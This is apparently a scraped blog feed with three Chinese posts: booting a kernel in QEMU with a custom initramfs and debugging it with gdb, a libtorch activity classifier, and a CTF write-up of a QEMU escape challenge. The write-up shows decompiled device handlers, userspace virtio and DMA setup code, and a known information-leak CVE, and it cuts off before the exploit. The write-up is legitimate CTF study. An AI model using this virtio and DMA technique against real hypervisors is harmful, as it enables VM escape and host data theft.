/dev/nullMODULE_DIR=\"$INITRAMFS_DIR/lib/modules/$KERNEL_VERSION\"mkdir -p \"$MODULE_DIR/kernel/fs/ext4\"mkdir -p \"$MODULE_DIR/kernel/fs/jbd2\"mkdir -p \"$MODULE_DIR/kernel/fs/mbcache\"mkdir -p \"$MODULE_DIR/kernel/crypto\"for module in ext4 jbd2 mbcache crc16; do MODULE_PATH=$(find . -name \"${module}.ko\" -o -name \"${module}.ko.gz\" -o -name \"${module}.ko.xz\" | head -1) if [ -n \"$MODULE_PATH\" ]; then echo \" 找到: $module -> $MODULE_PATH\" cp \"$MODULE_PATH\" \"$MODULE_DIR/\" else echo \" 警告: 未找到 $module 模块\" fidonecd \"$INITRAMFS_DIR\"cat > \"lib/modules/$KERNEL_VERSION/modules.dep\" << EOFkernel/fs/ext4/ext4.ko: kernel/fs/jbd2/jbd2.ko kernel/fs/mbcache/mbcache.kokernel/fs/jbd2/jbd2.ko: kernel/crypto/crc16.kokernel/fs/mbcache/mbcache.ko:kernel/crypto/crc16.ko:EOFtouch \"lib/modules/$KERNEL_VERSION/modules.order\"cd - > /dev/nullcat > \"$INITRAMFS_DIR/init\" << 'INIT_SCRIPT'#!/bin/shmount -t proc proc /procmount -t sysfs sysfs /sysmount -t devtmpfs devtmpfs /devsleep 1echo \"加载内核模块...\"insmod /lib/modules/*/crc16.ko 2>/dev/null || echo \" crc16 已加载或不需要\"insmod /lib/modules/*/mbcache.ko 2>/dev/null || echo \" mbcache 已加载或不需要\"insmod /lib/modules/*/jbd2.ko 2>/dev/null || echo \" jbd2 已加载或不需要\"insmod /lib/modules/*/ext4.ko 2>/dev/null || echo \" ext4 已加载或不需要\"echo \"\"echo \"内核模块加载完成\"echo \"\"if [ ! -b /dev/vda ]; then echo \"错误: 根设备 /dev/vda 不存在\" echo \"可用的块设备:\" ls -l /dev/vd* 2>/dev/null || echo \" 未找到 virtio 块设备\" echo \"\" echo \"启动 shell 进行调试...\" exec /bin/shfiecho \"挂载根文件系统 /dev/vda...\"mount -t ext4 /dev/vda /newrootif [ $? -ne 0 ]; then echo \"错误: 无法挂载根文件系统\" echo \"\" echo \"启动 shell 进行调试...\" exec /bin/shfiecho \"根文件系统挂载成功\"echo \"\"if [ ! -x /newroot/init ]; then echo \"错误: /newroot/init 不存在或不可执行\" echo \"\" echo \"启动 shell 进行调试...\" umount /newroot exec /bin/shfiumount /procumount /sysumount /devexec switch_root /newroot /initINIT_SCRIPTchmod +x \"$INITRAMFS_DIR/init\"cd \"$INITRAMFS_DIR\"find . -print0 | cpio --null --create --format=newc 2>/dev/null | gzip -9 > \"../$(basename $INITRAMFS_FILE)\"cd - > /dev/null\n然后使用如下命令:\n$ KERNEL=\"arch/x86/boot/bzImage\"$ INITRAMFS=\"test_kernel/initramfs.cpio.gz\"$ ROOTFS=\"test_kernel/arch_full.ext4\"$ qemu-system-x86_64 \\ -kernel \"$KERNEL\" \\ -initrd \"$INITRAMFS\" \\ -drive file=\"$ROOTFS\",format=raw,if=virtio \\ -m 4G \\ -smp 4 \\ -append \"console=ttyS0\" \\ -nographic\n\n加载内核模块\n在成功启动的 QEMU 环境内输入 lsmod,\n会发现只加载了几个模块\n[root@archlinux /]# lsmodModule Size Used byext4 1159168 1jbd2 200704 1 ext4mbcache 20480 1 ext4crc16 12288 1 ext4\n在 Linux 中,\n内核模块存放在 /usr/lib/modules/*kernel_release*/ 位置.\n我们需要在 rootfs 打包前将编译好的模块放入:\n$ make modules_install INSTALL_MOD_PATH=/home/summer/git/linux/test_kernel/arch_full_rootfs\n使用 gdb 调试内核\n在 QEMU 的启动命令添加下列参数:\nqemu-system-x86_64 \\ ... \\ -s \\ #run a gdb server at tcp::1234 -S #pause simulator until a `continue` from gdb\nkernel 在编译时提供了带符号的内核文件 vmlinux 和一个 gdb 脚本 vmlinux-gdb.py\n加载该文件然后连接 QEMU, 就可以对内核进行调试了.\n\n\ngdb attach\n\n\n\nstart_kernel\n\nReferences\n\nhttps://en.wikipedia.org/wiki/Booting_process_of_Linux#Kernel\nhttps://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard\nhttps://wiki.archlinux.org/title/Kernel_module\n\n","categories":["Study"],"tags":["debug","kernel","QEMU"]},{"title":"简单神经网络搭建","url":"/categories/Study/simple-nn/","content":"前言\n程序设计课期末作业要求实现一个「基于可穿戴传感器数据的人体活动识别」,具体是实现一个分类任务。\n\n\n数据采集设备以每秒 1 次的频率记录传感器信息,涵盖加速度(x、y、 z\n轴)、陀螺仪角速度(x、y、z 轴)、温度、湿度、心率、皮肤电反应等共计 561\n个数值型特征维度。每条数据均标注了活动类别标签,包括以下六类:\nWALKING:行走,标记为 1\nWALKING_UPSTAIRS:上楼梯,标记为 2\nWALKING_DOWNSTAIRS:下楼梯,标记为 3\nSITTING:坐着,标记为 4\nSTANDING:站着,标记为 5\nLAYING:平躺,标记为 6\n\n基本设计\n以下代码依赖 C++ libtorch 库,使用 CUDA\n\n数据处理\n读入给定的训练集 X_test.txt 和对应的标签 y_test.txt,并且使用 from_blob 转换为张量类型 torch::tensor()\nclass CustomDataset : public torch::data::Dataset<CustomDataset> {private: std::vector<torch::Tensor> features_; std::vector<torch::Tensor> labels_;public: CustomDataset(const std::string& feature_file, const std::string& label_file) { std::ifstream ffile(feature_file); std::ifstream lfile(label_file); if (!ffile.is_open() || !lfile.is_open()) { throw std::runtime_error(\"无法打开特征或标签文件\"); } std::vector<float> buffer; std::string line; // 读取特征 while (std::getline(ffile, line)) { std::istringstream ss(line); float val; while (ss >> val) { buffer.push_back(val); } } size_t total_samples = buffer.size() / 561; for (size_t i = 0; i < total_samples; ++i) { torch::Tensor x = torch::from_blob(buffer.data() + i * 561, {561}, torch::kFloat).clone(); features_.push_back(x); } // 读取标签 while (std::getline(lfile, line)) { int label = std::stoi(line) - 1; //label:1-6 (expected 0-5) labels_.push_back(torch::tensor(label, torch::kLong)); } if (features_.size() != labels_.size()) { throw std::runtime_error(\"特征数与标签数不一致!\"); } }};\n定义模型\n为了先让程序跑起来,考虑使用单层神经网络实现需求。\n即只包含一个线性层,其中输入样本特征的大小 561,输出样本特征的大小 6。\n定义:\n\n一个结构体,继承 torch::nn::Module\n线性层 torch::nn::Linear\n前向传播函数 torch::Tensor forward(torch::Tensor x)\n\n使用宏 TORCH_MODULE(),使程序可以调用 torch::save(),\ntorch::load()\nstruct NetImpl : torch::nn::Module { torch::nn::Linear fc{nullptr}; NetImpl() { fc = register_module(\"fc\", torch::nn::Linear(561, 6)); } torch::Tensor forward(torch::Tensor x) { return fc(x); }};TORCH_MODULE(Net);\n训练过程\n此训练过程基于小批量随机梯度下降(SGD)优化算法。具体而言,每个训练迭代将处理一个包含 8 个样本的小批量数据。\n在每个训练周期内: 1. 前向传播 2. 损失计算 3. 梯度清零 4. 反向传播 5.\n参数更新\n使用 torch::data::Dataset<CustomDataset> 的 map 方法,应用转换 (transform)torch::data::transforms::Stack<>() 到数据集的每个单独样本上。这将让多个单独张量堆叠,形成一个批次张量。\nconst std::string feature_file = \"/home/summer/CLionProjects/cppAssignment202505/X_train.txt\";const std::string label_file = \"/home/summer/CLionProjects/cppAssignment202505/y_train.txt\";const size_t batch_size = 8;const size_t num_epochs = 10;const double learning_rate = 0.01;auto dataset = CustomDataset(feature_file, label_file).map(torch::data::transforms::Stack<>());auto data_loader = torch::data::make_data_loader(dataset, batch_size);Net model = Net();torch::optim::SGD optimizer(model->parameters(), learning_rate);for (size_t epoch = 1; epoch <= num_epochs; ++epoch) { model->train(); double total_loss = 0.0; size_t batch_idx = 0; for (auto& batch : *data_loader) { auto data = batch.data; auto targets = batch.target; auto output = model->forward(data); auto loss = torch::nn::functional::cross_entropy(output, targets); optimizer.zero_grad(); loss.backward(); optimizer.step(); total_loss += loss.template item<double>(); ++batch_idx; } std::cout << \"Epoch [\" << epoch << \"/\" << num_epochs << \"] Avg Loss: \" << (total_loss / batch_idx) << std::endl;}\n训练完成后,保存模型\ntorch::save(model, \"/home/summer/CLionProjects/cppAssignment202505/model.pt\");\n数据预测\n为了评估模型的泛化能力,我们按照与训练数据相似的方法,读取并处理测试集。\nconst std::string model_path = \"/home/summer/CLionProjects/cppAssignment202505/model.pt\";const std::string feature_file = \"/home/summer/CLionProjects/cppAssignment202505/X_test.txt\";const std::string label_file = \"/home/summer/CLionProjects/cppAssignment202505/y_test.txt\";const size_t batch_size = 8;Net model= Net();torch::load(model, model_path);model->eval();auto dataset = CustomDataset(feature_file, label_file).map(torch::data::transforms::Stack<>());auto data_loader = torch::data::make_data_loader(dataset, batch_size);size_t correct = 0;size_t total = 0;for (auto& batch : *data_loader) { auto data = batch.data; auto targets = batch.target; auto output = model->forward(data); auto pred = output.argmax(1); correct += pred.eq(targets).sum().template item<int64_t>(); total += targets.size(0);}double accuracy = static_cast<double>(correct) / total * 100.0;std::cout << \"Test Accuracy: \" << accuracy << \"%\" << std::endl;\n使用上述神经网络得到的结果是:\nTest Accuracy: 94.1636%\n模型优化\n采用残差网络(ResNet)优化模型\n残差块\n采用两层卷积层,两层标准化层以及 ReLU 激活函数。\n\n\nResidual Block\n\n并且定义对 identity 的下采样处理 downsample,使用 torch::nn::Sequential 可以将多个模块堆叠。\nResidualBlock1DImpl(int64_t in_channels, int64_t out_channels, int64_t stride = 1) { conv1 = register_module(\"conv1\", torch::nn::Conv1d(torch::nn::Conv1dOptions(in_channels, out_channels, 3).stride(stride).padding(1).bias(false))); bn1 = register_module(\"bn1\", torch::nn::BatchNorm1d(out_channels)); conv2 = register_module(\"conv2\", torch::nn::Conv1d(torch::nn::Conv1dOptions(out_channels, out_channels, 3).stride(1).padding(1).bias(false))); bn2 = register_module(\"bn2\", torch::nn::BatchNorm1d(out_channels)); if (stride != 1 || in_channels != out_channels) { downsample = register_module(\"downsample\", torch::nn::Sequential( torch::nn::Conv1d(torch::nn::Conv1dOptions(in_channels, out_channels, 1).stride(stride).bias(false)), torch::nn::BatchNorm1d(out_channels) )); }}\n定义前向传播的两条路径:\ntorch::Tensor forward(torch::Tensor x) { auto identity = x.clone(); x = torch::relu(bn1(conv1(x))); x = bn2(conv2(x)); if (!downsample->is_empty()) { identity = downsample->forward(identity); } x += identity; return torch::relu(x);}\n残差网络\n我们的网络架构基于 ResNet 的原理,并采用以下具体结构:\n输入 -> 卷积层 -> 标准化层 -> 激活层 -> 残差块 -> 平均池化 -> 全连接层 -> 输出\nstruct ResNet1DImpl : torch::nn::Module { torch::nn::Conv1d conv{nullptr}; torch::nn::BatchNorm1d bn{nullptr}; torch::nn::Sequential layer1, layer2, layer3; torch::nn::Linear fc{nullptr}; ResNet1DImpl() { conv = register_module(\"conv\", torch::nn::Conv1d(torch::nn::Conv1dOptions(1, 64, 7).stride(2).padding(3).bias(false))); bn = register_module(\"bn\", torch::nn::BatchNorm1d(64)); layer1 = register_module(\"layer1\", _make_layer(64, 64, 2, 1)); layer2 = register_module(\"layer2\", _make_layer(64, 64, 2, 2)); layer3 = register_module(\"layer3\", _make_layer(64, 128, 2, 2)); fc = register_module(\"fc\", torch::nn::Linear(128, 6)); } torch::nn::Sequential _make_layer(int64_t in_channels, int64_t out_channels, int blocks, int stride) { torch::nn::Sequential layers; layers->push_back(ResidualBlock1D(in_channels, out_channels, stride)); for (int i = 1; i < blocks; ++i) { layers->push_back(ResidualBlock1D(out_channels, out_channels)); } return layers; } torch::Tensor forward(torch::Tensor x) { x = x.unsqueeze(1); // (batch, 1, 561) x = torch::relu(bn(conv(x))); x = layer1->forward(x); x = layer2->forward(x); x = layer3->forward(x); x = torch::adaptive_avg_pool1d(x, 1); x = x.view({x.size(0), -1}); x = fc(x); return x; }};TORCH_MODULE(ResNet1D);\n性能优化\n为了加快训练速度,可以将训练过程转移到 GPU 上运行\ntorch::manual_seed(42);torch::Device device(torch::kCPU);if (torch::cuda::is_available()) { std::cout << \"CUDA is available! Training on GPU.\" << std::endl; device = torch::Device(torch::kCUDA);}const std::string train_feature_file = \"/home/summer/CLionProjects/cppAssignment202505/X_train.txt\";const std::string train_label_file = \"/home/summer/CLionProjects/cppAssignment202505/y_train.txt\";const std::string test_feature_file = \"/home/summer/CLionProjects/cppAssignment202505/X_test.txt\";const std::string test_label_file = \"/home/summer/CLionProjects/cppAssignment202505/y_test.txt\";const size_t batch_size = 8;const size_t num_epochs = 15;const double learning_rate = 0.001;auto train_dataset = CustomDataset(train_feature_file, train_label_file).map(torch::data::transforms::Stack<>());auto train_loader = torch::data::make_data_loader(train_dataset, batch_size);auto test_dataset = CustomDataset(test_feature_file, test_label_file).map(torch::data::transforms::Stack<>());auto test_loader = torch::data::make_data_loader(test_dataset, batch_size);ResNet1D model = ResNet1D();model->to(device);torch::optim::SGD optimizer(model->parameters(), torch::optim::SGDOptions(learning_rate).momentum(0.9));for (size_t epoch = 1; epoch <= num_epochs; ++epoch) { model->train(); double total_loss = 0.0; size_t batch_idx = 0; for (auto& batch : *train_loader) { auto data = batch.data.to(device); auto targets = batch.target.to(device); optimizer.zero_grad(); auto output = model->forward(data); auto loss = torch::nn::functional::cross_entropy(output, targets); loss.backward(); optimizer.step(); total_loss += loss.template item<double>(); batch_idx++; } std::cout << \"Epoch [\" << epoch << \"/\" << num_epochs << \"] Avg Loss: \" << total_loss / batch_idx << std::endl;}\n预测部分如下:\nconst std::string model_path = \"/home/summer/CLionProjects/cppAssignment202505/model.pt\";const std::string feature_file = \"/home/summer/CLionProjects/cppAssignment202505/X_test.txt\";const std::string label_file = \"/home/summer/CLionProjects/cppAssignment202505/y_test.txt\";const size_t batch_size = 8;torch::Device device(torch::kCPU);if (torch::cuda::is_available()) { std::cout << \"CUDA is available! Training on GPU.\" << std::endl; device = torch::Device(torch::kCUDA);}ResNet1D model = ResNet1D();try { torch::load(model, model_path); std::cout << \"Model loaded successfully from: \" << model_path << std::endl;} catch (const c10::Error& e) { std::cerr << \"Error loading model: \" << e.what() << std::endl; return -1;}model->to(device);model->eval();auto dataset = CustomDataset(feature_file, label_file).map(torch::data::transforms::Stack<>());auto data_loader = torch::data::make_data_loader(dataset, batch_size);size_t correct = 0;size_t total = 0;torch::NoGradGuard no_grad;for (auto& batch : *data_loader) { auto data = batch.data; auto targets = batch.target; data = data.to(device); targets = targets.to(device); auto output = model->forward(data); auto pred = output.argmax(1); correct += pred.eq(targets).sum().template item<int64_t>(); total += targets.size(0);}double accuracy = static_cast<double>(correct) / total * 100.0;std::cout << \"Test Accuracy: \" << accuracy << \"%\" << std::endl;return 0;\n改进后的模型得到的结果是:\nTest Accuracy: 96.4031%\n","categories":["Study"],"tags":["Neural network"]},{"title":"QEMU PWN - EasyDMA","url":"/categories/CTF/easydma/","content":"EasyDMA\nFrom: ACTF 2025\n题目给出一个去符号的 qemu 二进制文件\nqemu-system-x86_64,启动参数如下\n#!/bin/shtimeout --foreground 300 ./qemu-system-x86_64 \\ -L pc-bios \\ -m 1024 \\ -kernel bzImage \\ -initrd rootfs.cpio \\ -drive file=null-co://,if=none,id=mydisk \\ -device virtio-blk-pci,drive=mydisk,ioeventfd=off \\ -device readflag \\ -append \"priority=low console=ttyS0\" \\ -monitor /dev/null \\ -nographic\n\n添加两个设备 virtio-blk-pci, readflag。\n反汇编可以找到 readflag 通过 mmio 的读、写回调函数:\n__int64 __fastcall readflag_mmio_read(__int64 opaque, unsigned __int64 addr, int size){ __int64 result; // rax if ( addr > 0x7F ) { result = -1LL; if ( size != 4 ) return result; } else if ( size != 4 ) { result = -1LL; if ( size != 8 ) return result; } result = 0xDEADBEEFLL; if ( addr ) { if ( addr == 8 ) return *(_QWORD *)(opaque + 2984); else return -1LL; } return result;}\nvoid __fastcall readflag_mmio_write(__int64 opaque, unsigned __int64 addr, size_t val, int size){ void *v4; // rbp FILE *v5; // rax FILE *v6; // r12 size_t v7; // rax int v8; // [rsp+0h] [rbp-20h] if ( addr > 0x7F ) { if ( size != 4 ) return; } else if ( size != 4 ) { if ( size == 8 && addr == 8 ) goto LABEL_6; return; } if ( addr ) { if ( addr == 8 )LABEL_6: *(_QWORD *)(opaque + 2984) = val; } else if ( val <= 0xFFF ) { v8 = val; v4 = malloc(val); if ( v4 ) { v5 = fopen64(\"flag\", \"r\"); v6 = v5; if ( v5 ) { v7 = fread(v4, 1uLL, (unsigned int)(v8 - 1), v5); if ( v7 ) *((_BYTE *)v4 + v7) = 0; else puts(\"No data read from the file.\"); free(v4); fclose(v6); } else { perror(\"Error opening file\"); free(v4); } } else { perror(\"Memory allocation failed\"); } }}\nVirtio Block Device1\nData types definition\nFor the integer data types used in the structure definitions, the\nfollowing conventions are used:\n\nu8, u16, u32, u64\nAn unsigned integer of the specified length in bits.\nle16, le32, le64\nAn unsigned integer of the specified length in bits, in little-endian\nbyte order.\n\n#define u8 uint8_t#define u16 uint16_t#define u32 uint32_t#define u64 uint64_t#define le16 u16#define le32 u32#define le64 u64\nPCI Capabilities\nstruct virtio_pci_cap { u8 cap_vndr; /* Generic PCI field: PCI_CAP_ID_VNDR */ u8 cap_next; /* Generic PCI field: next ptr. */ u8 cap_len; /* Generic PCI field: capability length */ u8 cfg_type; /* Identifies the structure. */ u8 bar; /* Where to find it. */ u8 id; /* Multiple capabilities of the same type */ u8 padding[2]; /* Pad to full dword. */ le32 offset; /* Offset within bar. */ le32 length; /* Length of the structure, in bytes. */};\ncfg_type identifies the structure,\naccording to the following table:\n/* Common configuration */#define VIRTIO_PCI_CAP_COMMON_CFG 1/* Notifications */#define VIRTIO_PCI_CAP_NOTIFY_CFG 2/* ISR Status */#define VIRTIO_PCI_CAP_ISR_CFG 3/* Device specific configuration */#define VIRTIO_PCI_CAP_DEVICE_CFG 4/* PCI configuration access */#define VIRTIO_PCI_CAP_PCI_CFG 5/* Shared memory region */#define VIRTIO_PCI_CAP_SHARED_MEMORY_CFG 8/* Vendor-specific data */#define VIRTIO_PCI_CAP_VENDOR_CFG 9\nFor common configuration, its layout is\nbelow:\nstruct virtio_pci_common_cfg { /* About the whole device. */ le32 device_feature_select; /* read-write */ le32 device_feature; /* read-only for driver */ le32 driver_feature_select; /* read-write */ le32 driver_feature; /* read-write */ le16 config_msix_vector; /* read-write */ le16 num_queues; /* read-only for driver */ u8 device_status; /* read-write */ u8 config_generation; /* read-only for driver */ /* About a specific virtqueue. */ le16 queue_select; /* read-write */ le16 queue_size; /* read-write */ le16 queue_msix_vector; /* read-write */ le16 queue_enable; /* read-write */ le16 queue_notify_off; /* read-only for driver */ le64 queue_desc; /* read-write */ le64 queue_driver; /* read-write */ le64 queue_device; /* read-write */ le16 queue_notif_config_data; /* read-only for driver */ le16 queue_reset; /* read-write */ /* About the administration virtqueue. */ le16 admin_queue_index; /* read-only for driver */ le16 admin_queue_num; /* read-only for driver */};\nFor notification, its layout is below:\nstruct virtio_pci_notify_cap { struct virtio_pci_cap cap; le32 notify_off_multiplier; /* Multiplier for queue_notify_off. */};\nWe recognize these type, and record the offset.\nvoid print_cap(struct virtio_pci_cap* cap){ printf(\"cap_len: %x\\n\", cap->cap_len); switch(cap->cfg_type){ case VIRTIO_PCI_CAP_COMMON_CFG: printf(\"cfg_type: common\\n\"); break; case VIRTIO_PCI_CAP_NOTIFY_CFG: printf(\"cfg_type: notify\\n\"); break; case VIRTIO_PCI_CAP_ISR_CFG: printf(\"cfg_type: isr\\n\"); break; case VIRTIO_PCI_CAP_DEVICE_CFG: printf(\"cfg_type: device\\n\"); break; case VIRTIO_PCI_CAP_PCI_CFG: printf(\"cfg_type: pci\\n\"); break; case VIRTIO_PCI_CAP_SHARED_MEMORY: printf(\"cfg_type: shared memory\\n\"); break; case VIRTIO_PCI_CAP_VENDOR_CFG: printf(\"cfg_type: vendor\\n\"); break; default: printf(\"cfg_type: unknown\\n\"); break; } printf(\"bar: %x\\n\", cap->bar); printf(\"id: %x\\n\", cap->id); printf(\"offset: %x\\n\", cap->offset); printf(\"length: %x\\n\", cap->length);}switch(cap.cfg_type){ case VIRTIO_PCI_CAP_COMMON_CFG: virtio_common_mmio = virtio_mmio + cap.offset; break; case VIRTIO_PCI_CAP_NOTIFY_CFG: virtio_notify_mmio = (struct virtio_notify_cfg*)((size_t)virtio_mmio + cap.offset); break; case VIRTIO_PCI_CAP_ISR_CFG: virtio_isr_mmio = virtio_mmio + cap.offset; break; case VIRTIO_PCI_CAP_DEVICE_CFG: virtio_device_mmio = virtio_mmio + cap.offset; break; default: break; }\nVirtqueue2\nThe mechanism for bulk data transport on virtio devices is\npretentiously called a virtqueue. Each device can have zero or more\nvirtqueues.\nEach virtqueue can consist of up to 3 parts:\n • Descriptor Area - used for describing buffers\n • Driver Area - extra data supplied by driver to the device. Also\ncalled avail virtqueue.\n • Device Area - extra data supplied by device to driver. Also called\nused virtqueue.\n\n\nShared memory with split ring\nelements\n\nThere areas structure defined below:\nstruct virtq_desc { /* Address (guest-physical). */ le64 addr; /* Length. */ le32 len;/* This marks a buffer as continuing via the next field. */#define VIRTQ_DESC_F_NEXT 1/* This marks a buffer as device write-only (otherwise device read-only). */#define VIRTQ_DESC_F_WRITE 2/* This means the buffer contains a list of buffer descriptors. */#define VIRTQ_DESC_F_INDIRECT 4 /* The flags as indicated above. */ le16 flags; /* Next field if flags & NEXT */ le16 next;};struct virtq_avail {#define VIRTQ_AVAIL_F_NO_INTERRUPT 1 le16 flags; le16 idx; le16 ring[VIRTIO_QUEUE_SIZE]; le16 used_event; /* Only if VIRTIO_F_EVENT_IDX */};struct virtq_used_elem { /* Index of start of used descriptor chain. */ le32 id; /* * The number of bytes written into the device writable portion of * the buffer described by the descriptor chain. */ le32 len;};struct virtq_used {#define VIRTQ_USED_F_NO_NOTIFY 1 le16 flags; le16 idx; struct virtq_used_elem ring[VIRTIO_QUEUE_SIZE]; le16 avail_event; /* Only if VIRTIO_F_EVENT_IDX */};\n\nThe driver queues requests to the virtqueue, the type of the request\nis either a read (VIRTIO_BLK_T_IN), a write (VIRTIO_BLK_T_OUT), a\ndiscard (VIRTIO_BLK_T_DISCARD), a write zeroes\n(VIRTIO_BLK_T_WRITE_ZEROES) or a flush (VIRTIO_BLK_T_FLUSH).\nstruct virtio_blk_req { le32 type; le32 reserved; le64 sector; u8 data[][512]; u8 status; }; struct virtio_blk_discard_write_zeroes { le64 sector; le32 num_sectors; struct { le32 unmap:1; le32 reserved:31; } flags; };#define VIRTIO_BLK_T_IN 0 #define VIRTIO_BLK_T_OUT 1 #define VIRTIO_BLK_T_FLUSH 4 #define VIRTIO_BLK_T_DISCARD 11 #define VIRTIO_BLK_T_WRITE_ZEROES 13\nMMIO3\nMemory-mapped I/O (MMIO) uses the\nsame address space to address both main memory and I/O devices. The\nmemory and registers of the I/O devices are mapped to (associated with)\naddress values, so a memory address may refer to either a portion of\nphysical RAM or to memory and registers of the I/O device.\nuint8_t mmio_read8(void* addr){ return *(volatile uint8_t*)addr;}uint16_t mmio_read16(void* addr){ return *(volatile uint16_t*)addr;}uint32_t mmio_read32(void* addr){ return *(volatile uint32_t*)addr;}uint64_t mmio_read64(void* addr){ return *(volatile uint64_t*)addr;}void mmio_write8(void* addr, uint8_t val){ *(volatile uint8_t*)addr = val;}void mmio_write16(void* addr, uint16_t val){ *(volatile uint16_t*)addr = val;}void mmio_write32(void* addr, uint32_t val){ *(volatile uint32_t*)addr = val;}void mmio_write64(void* addr, uint64_t val){ *(volatile uint64_t*)addr = val;}\nDevice configuration layout\nstruct virtio_blk_config { le64 capacity; le32 size_max; le32 seg_max; struct virtio_blk_geometry { le16 cylinders; u8 heads; u8 sectors; } geometry; le32 blk_size; struct virtio_blk_topology { // # of logical blocks per physical block (log2) u8 physical_block_exp; // offset of first aligned logical block u8 alignment_offset; // suggested minimum I/O size in blocks le16 min_io_size; // optimal (suggested maximum) I/O size in blocks le32 opt_io_size; } topology; u8 writeback; u8 unused0; u16 num_queues; le32 max_discard_sectors; le32 max_discard_seg; le32 discard_sector_alignment; le32 max_write_zeroes_sectors; le32 max_write_zeroes_seg; u8 write_zeroes_may_unmap; u8 unused1[3]; le32 max_secure_erase_sectors; le32 max_secure_erase_seg; le32 secure_erase_sector_alignment; struct virtio_blk_zoned_characteristics { le32 zone_sectors; le32 max_open_zones; le32 max_active_zones; le32 max_append_sectors; le32 write_granularity; u8 model; u8 unused2[3]; } zoned;};\nInitialization\n\nRead capabilities\nReset device\nReset Virtqueue\n\nvoid init_virtio() { int fd = open(\"/sys/devices/pci0000:00/0000:00:04.0/config\", O_RDONLY); if(fd < 0){ ERR(\"Open virtio config\"); } struct virtio_pci_cap cap; char* config = malloc(0x1000); int bytes_read = read(fd, config, 0x1000); if(bytes_read < 0){ ERR(\"Read virtio config\"); } fd = open(\"/sys/devices/pci0000:00/0000:00:04.0/resource4\", O_RDWR | O_SYNC); if(fd < 0){ ERR(\"Open virtio resource4\"); } virtio_mmio = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if(virtio_mmio == (volatile void*)-1){ ERR(\"mmap virtio mem\"); } close(fd); u8 cap_ptr = *(u8*)(config+0x34); while(cap_ptr != 0){ if(config[cap_ptr] != 0x9){ cap_ptr = *(u8*)(config+cap_ptr+1); continue; } memcpy(&cap, config+cap_ptr, sizeof(cap)); print_cap(&cap); switch(cap.cfg_type){ case VIRTIO_PCI_CAP_COMMON_CFG: virtio_common_mmio = virtio_mmio + cap.offset; break; case VIRTIO_PCI_CAP_NOTIFY_CFG: virtio_notify_mmio = (struct virtio_notify_cfg*)((size_t)virtio_mmio + cap.offset); break; case VIRTIO_PCI_CAP_ISR_CFG: virtio_isr_mmio = virtio_mmio + cap.offset; break; case VIRTIO_PCI_CAP_DEVICE_CFG: virtio_device_mmio = virtio_mmio + cap.offset; break; default: break; } cap_ptr = cap.cap_next; } close(fd); free(config); struct virtio_pci_common_cfg* common_cfg = (struct virtio_pci_common_cfg*)virtio_common_mmio; mmio_write32(&common_cfg->device_feature_select, 0); printf(\"device_feature[0]: %x\\n\", mmio_read32(&common_cfg->device_feature)); mmio_write32(&common_cfg->device_feature_select, 1); printf(\"device_feature[1]: %x\\n\", mmio_read32(&common_cfg->device_feature)); mmio_write32(&common_cfg->driver_feature_select, 0); printf(\"driver_feature[0]: %x\\n\", mmio_read32(&common_cfg->driver_feature)); mmio_write32(&common_cfg->driver_feature_select, 1); printf(\"driver_feature[1]: %x\\n\", mmio_read32(&common_cfg->driver_feature)); struct virtio_blk_config* blk_cfg = (struct virtio_blk_config*)virtio_device_mmio; printf(\"capacity: %lx\\n\", mmio_read64(&blk_cfg->capacity)); printf(\"size_max: %x\\n\", mmio_read32(&blk_cfg->size_max)); printf(\"seg_max: %x\\n\", mmio_read32(&blk_cfg->seg_max)); printf(\"geometry.cylinders: %x\\n\", mmio_read16(&blk_cfg->geometry.cylinders)); printf(\"geometry.heads: %x\\n\", mmio_read8(&blk_cfg->geometry.heads)); printf(\"geometry.sectors: %x\\n\", mmio_read8(&blk_cfg->geometry.sectors)); printf(\"blk_size: %x\\n\", mmio_read32(&blk_cfg->blk_size)); // reset device mmio_write8(&common_cfg->device_status, 0); mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_ACKNOWLEDGE); mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE); mmio_write32(&common_cfg->driver_feature_select, 0); mmio_write32(&common_cfg->driver_feature, 0); // disable all features mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE); assert(mmio_read8(&common_cfg->device_status) & VIRTIO_CONFIG_S_FEATURES_OK); // alloc dma memory int dma_fd = open(\"/dev/mem\", O_RDWR | O_SYNC); if(dma_fd < 0){ ERR(\"Open dma\"); } dma_mem = mmap((void*)0x3ffdd000, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0x3ffdd000); if(dma_mem == (volatile void*)-1){ ERR(\"mmap dma mem\"); } *(volatile uint32_t*)dma_mem = 0x12345678; printf(\"%x\\n\", *(volatile uint32_t*)dma_mem); *(volatile uint32_t*)dma_mem = 0; printf(\"dma_mem: %p\\n\", dma_mem); dma_data = dma_mem + 0x1000; queue_desc = (struct virtq_desc*)dma_mem; queue_avail = (struct virtq_avail*)((char*)queue_desc + 0x10 * VIRTIO_QUEUE_SIZE); queue_used = (struct virtq_used*)((char*)dma_mem + 0x200); // init queue mmio_write16(&common_cfg->queue_select, 0); mmio_write16(&common_cfg->queue_size, VIRTIO_QUEUE_SIZE); mmio_write64(&common_cfg->queue_desc, (size_t)0x3ffdd000); mmio_write64(&common_cfg->queue_driver, (size_t)0x3ffdd100); mmio_write64(&common_cfg->queue_device, (size_t)0x3ffdd200); mmio_write16(&common_cfg->queue_enable, 1); mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER_OK | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE); puts(\"virtio init done\");}\nVulnerabilities\nCVE-2024-8612\n从文件的字符串中可得知 qemu 的版本号为 qemu-8.0.0-rc2,存在一个关于 virtio-blk-pci 的信息泄漏漏洞:\nCVE-2024-8612\n具体利用还可以参考:\nHEXACON2024 -\nDMAKiller: DMA to Escape from QEMU/KVM by Yongkang Jia, Yiming Tao &\nXiao Lei,\nACTF2025-EasyDMA\nWriteup\n当 DMA 访问的地址是 MMIO 的,会使用 bounce buffer\n/* Map a physical memory region into a host virtual address. * May map a subset of the requested range, given by and returned in *plen. * May return NULL if resources needed to perform the mapping are exhausted. * Use only for reads OR writes - not for read-modify-write operations. * Use cpu_register_map_client() to know when retrying the map operation is * likely to succeed. */void 